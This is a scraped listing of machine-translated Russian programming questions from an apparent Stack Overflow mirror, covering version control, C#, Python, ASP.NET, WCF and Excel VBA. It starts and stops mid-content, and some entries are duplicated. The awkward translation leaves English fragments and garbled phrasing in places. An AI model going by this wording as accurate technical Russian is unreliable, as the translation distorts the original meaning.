0014  -019  0010  0000  0000  0016  -012  0000  
0010  -010  0000  0000  0000  0000  0000  0000  
-016  0021  -014  0010  0000  0000  0000  0000  
0000  0000  0000  0000  0000  0000  0000  0000  
0000  0000  -010  0013  -014  0010  0000  0000  

Теперь мне нужно знать, как я могу воспользоваться этой трансформацией? Я хотел бы обнаружить другие блоки 8x8 в том же изображении (или другом изображении), которые представляют собой хорошее совпадение.

Кроме того, что дает мне эта трансформация? Почему важна информация, хранящаяся в правом верхнем углу преобразованного изображения?

video   compression   dct    

419   6   16:03, 1st July, 2020


Производительность Компиляции CSharpCodeProvider

Разве CompileAssemblyFromDom быстрее, чем CompileAssemblyFromSource ?

Он должен быть таким, как он предположительно обходит внешний интерфейс компилятора.

c#   performance   compiler-construction    

539   2   16:03, 1st July, 2020


Что такое хороший шаблон использования Mercurial для этой установки?

У нас есть два разработчика в одной и той же закрытой (тьфу, глупый gov) сети, другой разработчик в паре минут езды по дороге, а четвертый разработчик на полпути через всю страну. Электронная почта, ftp, и удаление media - все возможные способы передачи для людей, не находящихся в одной сети.

Я являюсь одним из двух разработчиков закрытых сетей, считайте нас "master" location.

Что такое лучшая настройка Mercurial / шаблон для группы? Каков наилучший способ trasmit изменения в / из удаленных разработчиков? Поскольку я отвечаю за это, я решил, что мне нужно будет сохранить по крайней мере один мастер-РЕПО с другим локальным РЕПО, в котором я могу развиваться. Каждый другой человек должен просто нуждаться в Клоне мастера. Это правда? Я думаю, это также делает меня ответственным за слияние?

Как вы можете видеть, я все еще пытаюсь обернуть голову вокруг распределенного контроля версий. Я не думаю, что есть какой-либо другой способ сделать это с ситуацией подключения.

version-control   mercurial   dvcs    

457   3   16:03, 1st July, 2020


Как я могу динамически оценивать код C#?

Я могу сделать eval("something()"); , чтобы выполнить код динамически в JavaScript. Есть ли способ для меня сделать то же самое в C#?

Пример того, что я пытаюсь сделать: у меня есть целочисленная переменная (скажем, i), и у меня есть несколько свойств по именам: "Property1", "Property2", "Property3" и т. д. Теперь я хочу выполнить некоторые операции над свойством "Property i " в зависимости от значения i .

Это действительно просто с Javascript. Есть ли какой-нибудь способ сделать это с C#?

c#   reflection   properties   c#-2.0    

511   16   16:03, 1st July, 2020


Как вы создаете свой собственный псевдоним (протокол URL) на системах Windows?

Как вы создаете свой собственный псевдоним (или протокол URL) на системах Windows?

Образцы:

  • http:
  • mailto:
  • обслуживание:

windows   winapi   moniker    

404   3   16:03, 1st July, 2020


Выбор DVCS - что хорошо для Windows?

Поэтому я хочу получить проект на распределенной системе управления версиями, такой как mercurial, git или bazaar. Загвоздка в том, что мне нужна поддержка Windows, чтобы быть хорошим, т. е. никаких инструкций, которые начинаются с "install cygwin...". Теперь я слышал, что поддержка git Windows в наши дни приличная, но у меня нет опыта из первых рук. Кроме того, похоже, что команда bazaar имеет явную цель сделать ее максимально мультиплатформенной. Могу ли я получить какие-либо рекомендации?

version-control   dvcs    

515   8   16:03, 1st July, 2020


Как создать класс, используя шаблон проектирования Singleton в Ruby?

Шаблон singleton-это шаблон проектирования, который используется для ограничения создания экземпляра класса одним экземпляром объекта. Хотя я знаю, как кодировать шаблон singleton в C++ и Java, мне было интересно, знает ли кто-нибудь, как реализовать его в Ruby?

ruby   design-patterns   singleton    

458   3   16:03, 1st July, 2020


Автоматизация VMWare или VirtualPC

В настоящее время я экспериментирую с сценарием сборки, и поскольку у меня есть веб-часть ASP.net под управлением исходного кода, мой сценарий сборки должен сделать это в конце:

  1. Захватите образ "naked" Windows 2003 IIS VMWare или виртуального ПК из сети
  2. Boot его
  3. Скопируйте файлы из папки сборки на сервер
  4. Установить его
  5. Делайте все, что нужно

Я никогда не пробовал автоматизировать виртуальную машину, но я видел, что и VMWare, и виртуальный сервер предлагают средства автоматизации. Хотя я не могу использовать виртуальный сервер (Windows XP Home : - (), Virtual PC работает.

Есть ли у кого-нибудь здесь опыт работы с VMWare Server или Virtual PC 2007 SP1 с точки зрения автоматизации?

Какой из них лучше подходит (я запускаю windows, поэтому независимость от платформы VMWare не учитывается) и проще автоматизировать?

vmware   virtualization    

405   5   16:03, 1st July, 2020


Рекомендуемые шрифты для программирования?

Какие шрифты вы используете для программирования, и для чего language/IDE? я использую Consolas для всей моей работы в Visual Studio, любые другие рекомендации?

fonts   development-environment    

530   25   16:03, 1st July, 2020


Почему я должен учить Lisp?

Я действительно чувствую, что должен учиться Lisp , и есть много хороших ресурсов, которые помогут мне это сделать.

Меня не пугает сложный синтаксис, но где в "traditional commercial programming" я найду места, где было бы целесообразно использовать его вместо процедурного языка.

Есть ли там коммерческое приложение-убийца, которое было написано в Lisp ?

functional-programming   lisp    

682   25   16:03, 1st July, 2020


Использование ConfigurationManager для загрузки конфигурации из произвольного расположения

Я разрабатываю компонент доступа к данным, который будет использоваться на веб-сайте, содержащем смесь классических страниц ASP и ASP.NET, и мне нужен хороший способ управления его настройками конфигурации.

Я хотел бы использовать пользовательский ConfigurationSection, и для страниц ASP.NET это отлично работает. Но когда компонент вызывается через COM interop с классической страницы ASP, он не работает в контексте запроса ASP.NET и поэтому не имеет никакого представления о web.config.

Есть ли способ сказать ConfigurationManager , чтобы просто загрузить конфигурацию из произвольного пути (например, ..\web.config , если мой assembly находится в папке /bin )? Если есть, то я думаю, что мой компонент может вернуться к этому, если по умолчанию ConfigurationManager.GetSection возвращает null для моего пользовательского раздела.

Любые другие подходы к этому были бы приветствованы!

asp.net   configuration   asp-classic    

477   9   16:03, 1st July, 2020


Flex / Air обфускация

Я написал (большую часть) приложения в Flex, и я озабочен защитой исходного кода. Я запустил демо - версию trillix swf decompiler и открыл swf-файл, который был установлен в мой каталог Program Files. Я увидел, что все пакеты actionscript, которые я написал, были там. Я не слишком беспокоюсь о пакетах, даже несмотря на то, что существует значительное количество кода, потому что он все еще кажется довольно непригодным для использования без файлов mxml. Я думаю, что они преобразованы в actionscript, или, по крайней мере, я надеюсь. Однако я все же хотел бы исследовать запутанность.

Есть ли у кого-нибудь опыт работы с Flash / Actionscript 3 / Flex обфускаторы? Можете ли вы порекомендовать хороший продукт?

flex   actionscript-3   air   obfuscation    

501   4   16:03, 1st July, 2020


Как настроить eclipse (zend studio 6), чтобы подсказывать и кодировать несколько языков?

Мой сон IDE делает полные подсказки кода, объясняет и завершает PHP, Javascript, HTML и CSS. Я знаю, что он существует!

до сих пор Zend studio 6, под Eclipse IDE отлично справляется с намеками PHP, некоторыми Javascript и HTML, как я могу это расширить?

изменить: немного больше информации: прямо сейчас, используя zend-6 под eclipse, я ввожу

<?php
p //(a single letter "p")

и я получаю подсказку подсказки со всеми доступными функциями php, которые начинаются с "p" (phpinfo(), parse_ini_file(), parse_str() и т. д...), каждый со своим собственным объяснением: phpinfo() - > "выводит много информации PHP", то же самое относится к регулярному HTML (без объяснений, однако).

Однако, я ничего не получаю, когда я делаю:

<style>
b /* (a single letter "b") */

Мне бы очень хотелось, чтобы я мог получить от этого предложения "b" для "border", "bottom" и т. д. То же самое относится и к Javascript.

Есть идеи?

zend-studio   code-completion    

430   2   16:03, 1st July, 2020


Является ли вход "Confirm Email" хорошей практикой, когда пользователь меняет адрес email?

В моей организации есть форма, позволяющая пользователям обновлять свой адрес email вместе с нами. Предполагается, что у нас есть два поля ввода для email: второй в качестве подтверждения email.

Я всегда копирую/вставляю свой адрес email, когда сталкиваюсь с подтверждением. Я предполагаю, что большинство наших пользователей не так сообразительны.

Независимо от того, считается ли это хорошей практикой? Лично я этого не выношу, но также понимаю, что это, вероятно, не для меня. Если кто-то испортит свой email, они не смогут войти в систему, и они должны позвонить, чтобы разобраться.

html   email   forms   confirm    

470   9   16:03, 1st July, 2020


Должен ли я использовать имя пользователя или ID пользователя для ссылки на аутентифицированных пользователей в ASP.NET

Поэтому в моем простом учебном веб-сайте я использую встроенную систему аутентификации ASP.NET.

Теперь я добавляю таблицу пользователей, чтобы сохранить такие вещи, как его zip, DOB и т. д. Мой вопрос таков:

  1. В новой таблице ключом должно быть имя пользователя (строка) или пользователь ID, который является тем номером GUID, который они используют в asp_ tables .
  2. Если лучше всего использовать этот уродливый guid, кто-нибудь знает, как его получить? похоже, он не так легко доступен, как имя ( System.Web.HttpContext.Current.User.Identity.Name )
  3. Если вы предлагаете мне не использовать ни один из них (ни guid, ни поля userName, предоставляемые ASP.NET authentication), то как это сделать с ASP.NET authentication? Один из вариантов, который мне нравится, - это использовать адрес email пользователя в качестве логина, но как сделать так, чтобы система аутентификации ASP.NET использовала адрес email вместо имени пользователя? (или там нечего делать, это просто я решил, что я "know" userName на самом деле адрес email?

Пожалуйста, обратите внимание:

  • Я не спрашиваю о том, как получить GUID в .NET, я просто ссылаюсь на столбец userID в asp_ tables как guid.
  • Имя пользователя является уникальным при проверке подлинности ASP.NET.

asp.net   authentication    

551   12   16:03, 1st July, 2020


Как сделать так, чтобы символ button выглядел так, как будто он нажат?

Используя VS2008, C#, .Net 2 и Winforms как я могу сделать обычный Button вид "pressed"? Представьте себе, что этот button-это переключатель включения/выключения. ToolStripButton имеет свойство Checked, а обычный Button-нет.

c#   .net   winforms   user-interface   button    

466   3   16:03, 1st July, 2020


Виртуальная машина, поддерживающая несколько дисплеев

Есть ли способ получить MS virtual PC 2007 для поддержки нескольких дисплеев? Или есть другой продукт виртуальной машины, который позволит мне работать с несколькими дисплеями?

В компании, в которой я работаю, мы делаем все наши разработки в виртуальных машинах. В настоящее время мы используем MS Virtual PC 2007 для этого. Я хотел бы иметь возможность распространять дисплей моей машины на несколько дисплеев, но я не знаю, как это сделать. Любой совет будет оценен по достоинству.

hardware   virtual   monitor   environment    

394   5   16:03, 1st July, 2020


Как продать Python в client/boss/person

Когда вас просят создать систему XYZ и вы просите сделать это в Python над PHP или Ruby, какие основные функции вы можете упомянуть, когда они требуют от вас объяснения?

php   python   ruby-on-rails   ruby    

511   8   16:03, 1st July, 2020


Управление версиями PHP веб-проект

У нас есть проект PHP, который мы хотели бы контролировать версии. Прямо сейчас мы втроем работаем над версией разработки проекта, которая находится во внешней папке, к которой привязаны все наши Eclipse IDEs, и поэтому нет контроля версий.

Каков правильный способ и лучший способ для управления версиями этого?

У нас есть настройка SVN, но нам просто нужно найти хороший способ регистрации и выхода, который позволяет нам тестировать на сервере разработки. Есть какие-нибудь идеи?

php   svn   version-control   cvs    

554   8   16:03, 1st July, 2020


Бета-Версия Веб-Приложения

Что такое хороший способ заставить людей Альфа-тестировать веб-приложение, которое я делаю. Я хочу, чтобы люди использовали его и получали обратную связь о том, каким образом мне нужно его изменить (потому что их много, но что самое главное?)

Описание: http://adamlerman.blogspot.com/2008/07/budgetjax.html
Сайт: http://www.budgetjax.com для приложения. (Нет реальных документов)

Сейчас очень тяжело.

web-applications    

395   2   16:03, 1st July, 2020


Откройте локальный файл с помощью AIR / Flex

Я написал приложение AIR, которое загружает видео и документы с сервера. Видео воспроизводится внутри приложения, но я хотел бы, чтобы пользователь мог открывать документы в своих собственных приложениях.

Я ищу способ предложить пользователю открыть / Сохранить как локальный файл, хранящийся в каталоге хранения приложений. Я пробовал использовать классы FileReference + URLRequest, но это вызывает исключение, что ему нужен удаленный url.

Мое последнее средство-просто скопировать файл на их рабочий стол : \

flex   actionscript-3   air    

479   5   16:03, 1st July, 2020


Версия ASP.NET от Joomla

Кто-нибудь когда-нибудь находил/использовал приложение ASP.NET, подобное Joomla?
Мне нужно настроить быстрый и грязный CMS на сервере Windows, и наш клиент не хочет, чтобы мы использовали что-то другое, кроме ASP.NET.


asp.net   content-management-system   joomla    

469   13   16:03, 1st July, 2020


Обучение Ruby на Rails что-нибудь хорошее для Grails?

Моя компания находится в процессе запуска вниз по пути Grails. Причина этого заключается в том, что нынешние разработчики тяжело относятся к Java, но ощущают потребность в языке в стиле MVC для некоторых будущих проектов веб-разработки. Лично я пришел из мира дизайна / юзабилити, но по мере того, как я беру на себя больше ответственности "front-end", я начинаю чувствовать потребность в более интенсивном изучении языка, чтобы я мог кодировать некоторую логику, но особенно интерфейсный код для моего UIs и прочего.

Я пытался попасть в Python/Django лично, но просто никогда не тратил на это слишком много времени. Теперь, когда моя компания находится "jumping" в Grails, я купил " веб-разработку Agile с Rails (3 - е изд-бета)", и я начинаю входить в RoR . Я все еще хотел бы узнать Python в будущем или на стороне, но мой самый большой вопрос-это:

  • Должен ли я изучать RoR и иметь более универсальный язык в моем "portfolio", зная, что мои RoR знания будут полезны и для моих потребностей Grails??

-OR-

  • Должен ли я просто пропустить RoR и сосредоточиться на изучении Grails, который мне скоро понадобится для работы, и работать над изучением RoR/Django (Ruby/Python) позже?

В основном вопрос вращается вокруг полезности Grails в некорпоративной среде и сходства между Rails и Grails. (и это, пытаясь избежать столетней дискуссии о Python против Ruby (на Rails) :))

ruby-on-rails   ruby   grails   groovy    

423   15   16:03, 1st July, 2020


Как настроить Python скриптов для работы в Apache 2.0?

Я пытался следить за парой гугловых учебников по настройке mod_python, но каждый раз терпел неудачу. Есть ли у вас хороший, пошаговый, твердый как камень howto?

Моя коробка работает на ОС Х, производство - Centos.

python   apache   apache2    

580   4   16:03, 1st July, 2020


Откройте локальный файл с помощью AIR / Flex

Я написал приложение AIR, которое загружает видео и документы с сервера. Видео воспроизводится внутри приложения, но я хотел бы, чтобы пользователь мог открывать документы в своих собственных приложениях.

Я ищу способ предложить пользователю открыть / Сохранить как локальный файл, хранящийся в каталоге хранения приложений. Я пробовал использовать классы FileReference + URLRequest, но это вызывает исключение, что ему нужен удаленный url.

Мое последнее средство-просто скопировать файл на их рабочий стол : \

flex   actionscript-3   air    

584   5   16:03, 1st July, 2020


Версия ASP.NET от Joomla

Кто-нибудь когда-нибудь находил/использовал приложение ASP.NET, подобное Joomla?
Мне нужно настроить быстрый и грязный CMS на сервере Windows, и наш клиент не хочет, чтобы мы использовали что-то другое, кроме ASP.NET.


asp.net   content-management-system   joomla    

556   13   16:03, 1st July, 2020


Обучение Ruby на Rails что-нибудь хорошее для Grails?

Моя компания находится в процессе запуска вниз по пути Grails. Причина этого заключается в том, что нынешние разработчики тяжело относятся к Java, но ощущают потребность в языке в стиле MVC для некоторых будущих проектов веб-разработки. Лично я пришел из мира дизайна / юзабилити, но по мере того, как я беру на себя больше ответственности "front-end", я начинаю чувствовать потребность в более интенсивном изучении языка, чтобы я мог кодировать некоторую логику, но особенно интерфейсный код для моего UIs и прочего.

Я пытался попасть в Python/Django лично, но просто никогда не тратил на это слишком много времени. Теперь, когда моя компания находится "jumping" в Grails, я купил " веб-разработку Agile с Rails (3 - е изд-бета)", и я начинаю входить в RoR . Я все еще хотел бы узнать Python в будущем или на стороне, но мой самый большой вопрос-это:

  • Должен ли я изучать RoR и иметь более универсальный язык в моем "portfolio", зная, что мои RoR знания будут полезны и для моих потребностей Grails??

-OR-

  • Должен ли я просто пропустить RoR и сосредоточиться на изучении Grails, который мне скоро понадобится для работы, и работать над изучением RoR/Django (Ruby/Python) позже?

В основном вопрос вращается вокруг полезности Grails в некорпоративной среде и сходства между Rails и Grails. (и это, пытаясь избежать столетней дискуссии о Python против Ruby (на Rails) :))

ruby-on-rails   ruby   grails   groovy    

392   15   16:03, 1st July, 2020


Как настроить Python скриптов для работы в Apache 2.0?

Я пытался следить за парой гугловых учебников по настройке mod_python, но каждый раз терпел неудачу. Есть ли у вас хороший, пошаговый, твердый как камень howto?

Моя коробка работает на ОС Х, производство - Centos.

python   apache   apache2    

510   4   16:03, 1st July, 2020


У кого-нибудь есть опыт создания общей библиотеки в MATLAB?

Исследователь создал небольшую симуляцию в MATLAB, и мы хотим сделать ее доступной для других. Мой план состоит в том, чтобы взять симуляцию, очистить несколько вещей и превратить ее в набор функций. Затем я планирую скомпилировать его в библиотеку C и использовать SWIG для создания оболочки Python. В этот момент я должен быть в состоянии вызвать симуляцию из небольшого приложения Django. По крайней мере, я на это надеюсь.

У меня есть правильный план? Кто-нибудь еще делал что-то подобное? Можете ли вы дать мне знать, есть ли какие-либо серьезные подводные камни, о которых я не знаю в данный момент?

python   c   matlab    

489   4   16:03, 1st July, 2020


C# логический порядок и поведение компилятора

В C#, (и не стесняйтесь отвечать за другие языки), в каком порядке среда выполнения оценивает логический оператор?

Пример:

DataTable myDt = new DataTable();
if (myDt != null && myDt.Rows.Count > 0)
{
    //do some stuff with myDt
}

Какое утверждение делает во время выполнения оценки первого -

myDt != null

или:

myDt.Rows.Count > 0
?

Есть ли время, когда компилятор будет когда-либо оценивать оператор назад? Возможно, когда задействован оператор "OR"?


& известен как логический побитовый оператор и всегда вычисляет все вложенные выражения

Каков хороший пример использования побитового оператора вместо "короткого замыкания логического"?

c#   language-agnostic   compiler-construction   logic    

551   18   16:03, 1st July, 2020


Кросс-платформенный, язык Agnostic GUI Markup Language?

Я узнал Swing еще в тот день, но теперь я переехал в Python и хочу сделать некоторые приложения с GUIs. У меня не было времени изучить новый GUI API, поэтому я использовал Jython, но я предпочел бы использовать CPython.

Было бы здорово, если бы у меня был один простой markup, который позволяет мне переключать GUI библиотек. Было бы еще лучше, если бы я мог использовать один и тот же язык markup для разных языков, чтобы я мог быстро сделать GUIs для любого языка, который я использую. Кто-нибудь знает о таком markup/library?

Я видел такие накладки, как Glade и wxWidget's markup (я забыл название). Они отчасти то, что я ищу (создание GUI без кодирования его на языке), но они переплетены с определенной библиотекой. И ни один из них не очень хорошо выглядит и не дружелюбен к человеческому редактированию.

python   user-interface   markup    

587   10   16:03, 1st July, 2020


Почему я не могу использовать блок try вокруг моего вызова super()?

Итак, в Java первая строка вашего конструктора HAS должна быть вызовом super... будь то неявный вызов super() или явный вызов другого конструктора. Вот что я хочу знать: почему я не могу поставить пробный блок вокруг этого?

Мой конкретный случай заключается в том, что у меня есть макет класса для теста. Конструктора по умолчанию нет, но я хочу, чтобы он упрощал чтение тестов. Я также хочу обернуть исключения, вызванные из конструктора, в RuntimeException.

Итак, то, что я хочу сделать, это эффективно:

public class MyClassMock extends MyClass {
    public MyClassMock() {
        try {
            super(0);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    // Mocked methods
}

Но Java жалуется, что супер-это не первое утверждение.

Мой обходной путь:

public class MyClassMock extends MyClass {
    public static MyClassMock construct() {
        try {
            return new MyClassMock();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public MyClassMock() throws Exception {
        super(0);
    }

    // Mocked methods
}

Является ли это лучшим обходным путем? Почему Java не позволяет мне сделать первое?


Моя лучшая догадка относительно "why" заключается в том, что Java не хочет, чтобы я имел сконструированный объект в потенциально противоречивом состоянии... однако, делая глумление, я не забочусь об этом. Кажется, я должен быть в состоянии сделать это выше... или, по крайней мере, я знаю, что вышесказанное безопасно для моего случая... или кажется, что так и должно быть в любом случае.

Я переопределяю все методы, которые я использую из тестируемого класса, поэтому нет никакого риска, что я использую неинициализированные переменные.

java   exception   mocking   try-catch    

506   7   16:03, 1st July, 2020


Преобразование байтов в числа с плавающей запятой в Python

У меня есть двоичный файл, который я должен разобрать, и я использую Python. Есть ли способ взять 4 байта и преобразовать их в одно точное число с плавающей запятой?

python   floating-point    

568   3   16:03, 1st July, 2020


Python, Unicode и консоль Windows

Когда я пытаюсь напечатать строку Unicode в консоли Windows, я получаю ошибку UnicodeEncodeError: 'charmap' codec can't encode character .... . Я предполагаю, что это связано с тем, что консоль Windows не принимает символы только Unicode. Как лучше всего это обойти? Есть ли какой-нибудь способ заставить Python автоматически печатать ? вместо сбоя в этой ситуации?

Редактировать: я использую Python 2.5.


Примечание: @LasseV.Karlsen ответ с галочкой вроде как устарел (с 2008 года). Пожалуйста, используйте solutions/answers/suggestions ниже с осторожностью!!

@JFSebastian ответ более актуален на сегодняшний день (6 января 2016 года).

python   unicode    

551   4   16:03, 1st July, 2020


Используют ли люди венгерские Соглашения об именовании в реальном мире?

Стоит ли изучать конвенцию или это проклятие для читабельности и ремонтопригодности?

conventions   hungarian-notation   self-documenting-code    

548   20   16:03, 1st July, 2020


Как я могу отменить git сброс --жесткий HEAD~1?

Можно ли отменить изменения, вызванные следующей командой? Если да, то как?

git reset --hard HEAD~1

git   version-control   git-reset    

500   5   16:03, 1st July, 2020


Какой самый простой способ добавить сжатие к WCF в Silverlight?

У меня есть приложение silverlight 2 beta 2, которое обращается к веб-службе WCF. Из-за этого в настоящее время он может использовать только привязку basicHttp. Веб-сервис вернет довольно большие объемы данных XML. Это кажется довольно расточительным с точки зрения использования полосы пропускания, поскольку ответ, если его сжать, будет меньше в 5 раз (на самом деле я вставил ответ в txt-файл и сжал его.).

Запрос действительно имеет "Accept-Encoding: gzip, deflate" - есть ли какой-либо способ получить WCF service gzip (или иным образом сжать) ответ?

Я действительно нашел эту ссылку , но она определенно кажется немного сложной для функциональности, которая должна быть обработана out-of-the-box IMHO.

OK-сначала я отметил решение, используя System.IO.Compression в качестве ответа, поскольку я никогда не мог "seem" заставить работать динамическое сжатие IIS7. Ну, как это получается:

  1. Динамическое сжатие на IIS7 работало все время. Просто плагин Nikhil Web Developer Helper для IE не показал, что он работает. Я предполагаю, что поскольку SL передает вызов веб-службы браузеру, то браузер обрабатывает его "under the covers", и инструмент Nikhil никогда не видит сжатый ответ. Я смог подтвердить это с помощью Fiddler, который отслеживает трафик, внешний по отношению к браузерному приложению. В fiddler ответ был, по сути, gzip сжатым!!

  2. Другая проблема с решением System.IO.Compression заключается в том, что System.IO.Compression не существует в Silverlight CLR.

Таким образом, с моей точки зрения, EASIEST способ включить сжатие WCF в Silverlight-это включить динамическое сжатие в IIS7 и вообще не писать код.

wcf   silverlight   compression   gzip    

1250   4   16:22, 28th August, 2020


Анимация в javascript, отправная точка

Я понимаю, как JS запускается, и я думаю, что понимаю большую часть DOM, но я понятия не имею об анимации. Кто-нибудь здесь знает хорошего гида, который может объяснить мне, как это делается в Javascript?

Кроме того, должен ли я даже рассматривать Javascript для анимации? Должен ли я вместо этого искать, чтобы узнать flash?

javascript   animation    

530   4   02:56, 12th August, 2020


Как я могу рассматривать целое число как массив байтов в Python?

Я пытаюсь расшифровать результат функции Python os.wait(). Это возвращает, согласно Python docs:

кортеж, содержащий его pid и индикацию состояния выхода: 16-разрядное число, младший байт которого является номером сигнала, который убил процесс, и старший байт которого является состоянием выхода (если номер сигнала равен нулю); старший бит младшего байта устанавливается, если был создан файл ядра.

Как декодировать индикацию состояния выхода (которая является целым числом), чтобы получить верхний и Нижний байт? Чтобы быть конкретным, как реализовать функцию декодирования, используемую в следующем фрагменте кода:

(pid,status) = os.wait()
(exitstatus, signum) = decode(status) 

python    

376   7   23:27, 7th August, 2020


Как вернуть страницу результатов из SQL?

Многие приложения имеют сетки, которые отображают данные из таблицы базы данных по одной странице за раз. Многие из них также позволяют пользователю выбирать количество записей на странице, Сортировать по любому столбцу и перемещаться по результатам.

Что такое хороший алгоритм для реализации этого шаблона без приведения всей таблицы к клиенту и последующей фильтрации данных на клиенте. Как вы приносите только те записи, которые хотите показать пользователю?

Разве LINQ упрощает решение?

.net   sql   linq   pagination    

571   8   05:33, 9th August, 2020


Проверка содержимого строки? длина строки Против пустой строки

Что более эффективно для компилятора и как лучше всего проверить, является ли строка пустой?

  1. Проверка, соответствует ли длина строки = = 0
  2. Проверка пустоты строки (strVar == "")

Кроме того, зависит ли ответ от языка?

string   optimization   language-agnostic   compiler-construction    

531   13   21:06, 1st October, 2020


Когда я не должен использовать ThreadPool в .Net?

Когда я не должен использовать ThreadPool в .Net?

Похоже, что лучшим вариантом является использование ThreadPool, и в этом случае, почему это не единственный вариант?

Что вы испытываете по этому поводу?

c#   .net   multithreading   design-decisions    

505   9   02:07, 8th August, 2020


Проверка данных разнесенной формы в структуре ASP.NET MVC

Я играл с фреймворком ASP.NET MVC, и одна вещь, которая действительно сбивает меня с толку, - это то, как я должен выполнять проверку данных опубликованных форм на стороне сервера. Я предполагаю, что не отправлю сообщение обратно в тот же URL, но если это не так, как я могу повторно отобразить форму с введенными данными и сообщениями об ошибках? Кроме того, куда должна идти логика проверки? В модели или контроллере? Это, по-видимому, одна из немногих областей, где веб-формы намного сильнее (мне не хватает средств проверки).

asp.net-mvc   validation    

488   6   03:59, 15th August, 2020


Обновить Результаты Функции Excel VBA

Кто-нибудь знает, как я могу заставить пользовательскую функцию повторно оценить себя (на основе измененных данных в электронной таблице)? Я пробовал F9 и Shift + F9 , но они не работают. Единственное, что, кажется, работает, это редактирование ячейки с помощью вызова функции и затем нажатие клавиши Enter. Есть какие-нибудь идеи? Я, кажется, помню, что был в состоянии сделать это...

excel   vba   excel-vba   user-defined-functions    

520   8   09:27, 12th August, 2020


Как я должен тестировать модульный генератор кода?

Это сложный и открытый вопрос, я знаю, но я решил бросить его на пол и посмотреть, есть ли у кого-нибудь интересные предложения.

Я разработал генератор кода, который принимает наш интерфейс python к нашему коду C++ (сгенерированному через SWIG) и генерирует код, необходимый для того, чтобы представить его как WebServices. Когда я разрабатывал этот код, я делал это с помощью TDD, но мои тесты оказались чертовски хрупкими. Поскольку каждый тест по существу хотел проверить, что для заданного бита входного кода (который оказывается заголовком C++) я получу заданный бит выходного кода, я написал небольшой движок, который читает определения тестов из входных файлов XML и генерирует тестовые случаи из этих ожиданий.

Проблема в том, что я вообще боюсь идти на изменение кода. Это и тот факт, что сами юнит-тесты а: сложны, а б: хрупки.

Поэтому я пытаюсь придумать альтернативные подходы к этой проблеме, и мне кажется, что я, возможно, решаю ее неправильно. Возможно, мне нужно больше сосредоточиться на результате, IE: действительно ли код, который я генерирую, работает и делает то, что я хочу, а не выглядит так, как я хочу.

Есть ли у кого-нибудь опыт чего-то подобного, которым они хотели бы поделиться?

c++   python   unit-testing   code-generation   swig    

488   8   18:49, 9th August, 2020


Обновить Результаты Функции Excel VBA

Кто-нибудь знает, как я могу заставить пользовательскую функцию повторно оценить себя (на основе измененных данных в электронной таблице)? Я пробовал F9 и Shift + F9 , но они не работают. Единственное, что, кажется, работает, это редактирование ячейки с помощью вызова функции и затем нажатие клавиши Enter. Есть какие-нибудь идеи? Я, кажется, помню, что был в состоянии сделать это...

excel   vba   excel-vba   user-defined-functions    

482   8   04:32, 22nd August, 2020


Как я должен тестировать модульный генератор кода?

Это сложный и открытый вопрос, я знаю, но я решил бросить его на пол и посмотреть, есть ли у кого-нибудь интересные предложения.

Я разработал генератор кода, который принимает наш интерфейс python к нашему коду C++ (сгенерированному через SWIG) и генерирует код, необходимый для того, чтобы представить его как WebServices. Когда я разрабатывал этот код, я делал это с помощью TDD, но мои тесты оказались чертовски хрупкими. Поскольку каждый тест по существу хотел проверить, что для заданного бита входного кода (который оказывается заголовком C++) я получу заданный бит выходного кода, я написал небольшой движок, который читает определения тестов из входных файлов XML и генерирует тестовые случаи из этих ожиданий.

Проблема в том, что я вообще боюсь идти на изменение кода. Это и тот факт, что сами юнит-тесты а: сложны, а б: хрупки.

Поэтому я пытаюсь придумать альтернативные подходы к этой проблеме, и мне кажется, что я, возможно, решаю ее неправильно. Возможно, мне нужно больше сосредоточиться на результате, IE: действительно ли код, который я генерирую, работает и делает то, что я хочу, а не выглядит так, как я хочу.

Есть ли у кого-нибудь опыт чего-то подобного, которым они хотели бы поделиться?

c++   python   unit-testing   code-generation   swig    

521   8   02:25, 26th August, 2020


Лучший Wiki для мобильных пользователей

Большинство программ wiki я представил много "features" на своих страницах. Это хорошо для настольных пользователей, но раздражает при использовании iPhone или другого мобильного устройства.

Я бы предпочел страницы, которые просто имели контент, а также, возможно, кнопку редактирования и кнопку поиска. Редакторы также часто слишком причудливы для мобильных пользователей; простое многострочное поле редактирования было бы лучше для мобильных пользователей, чем куча элементов управления форматированием.

Что такое хороший пакет wiki для мобильных пользователей?

iphone   wiki   mobile-website    

455   3   17:16, 25th August, 2020


Как создать экземпляр рабочего процесса, надежно основанный на внешнем событии?

немного новичок в работе windows, так что идите легко :)

Я хочу создать среду хоста рабочего процесса, которая имеет высокую доступность-минимум 2 WF хостов времени выполнения на отдельном оборудовании, указывающих на одну и ту же базу данных Persistence или tracking SQL.

Я ищу шаблон, с помощью которого я могу асинхронно создавать новые экземпляры рабочего процесса на основе некоторого внешнего события (т. е. некоторая часть данных обновляется в DB другим приложением). Для каждого события мне нужно создать ровно один экземпляр рабочего процесса и не имеет значения, на каком хосте этот экземпляр создан. Существует также некоторая гибкость в отношении продолжительности времени между событием и фактическим созданием экземпляра рабочего процесса.

Одним из решений, которое я рассматриваю, является наличие интерфейса WCF на хостах WF и размещение их за каким-то балансировщиком нагрузки. Это было бы тогда до любой части системы, которая запускает "event", чтобы сделать вызов WCF.

Я не очень доволен этим, потому что если хосты both\all WF не работают или иным образом недоступны, событие может быть "lost". Кроме того, я не смогу управлять нагрузкой так, как мне бы хотелось. Я представляю себе ситуацию, когда за небольшой промежуток времени может произойти много событий, но совершенно допустимо обрабатывать эти события некоторое время спустя.

Поэтому я считаю, что мне нужно каким-то образом сохранить события и отделить создание событий от обработки событий.

Помещает ли эти события в MSMQ или простую таблицу событий на сервере SQL, а хост WF просто периодически опрашивает очередь, является жизнеспособным решением? Опрос, кажется, такое грязное слово, хотя...

Будет ли полезен NServiceBus и прочный обмен сообщениями здесь?

Любые идеи будут высоко оценены.

Дополнение

База данных будет кластеризована с общим хранилищем оптоволоконных каналов. Сеть также будет избыточной. Для того, чтобы экземпляры среды выполнения WF имели отказоустойчивость, они должны указывать на общую службу персистентности, которая в данном случае является серверной частью SQL. Это высокая доступность, а не полная доступность :)

MSDN статья о надежности и высокой доступности WF

Кроме того, каждый экземпляр среды выполнения WF должен иметь точно такие же биты, поэтому для обновления потребуется удалить их все одновременно. Мне нравится идея сделать это, если потребуется, не разрушая всю систему.

.net   workflow   workflow-foundation    

426   3   21:06, 1st October, 2020


И DefaultEvent ASP.NET UserControl по

Контур

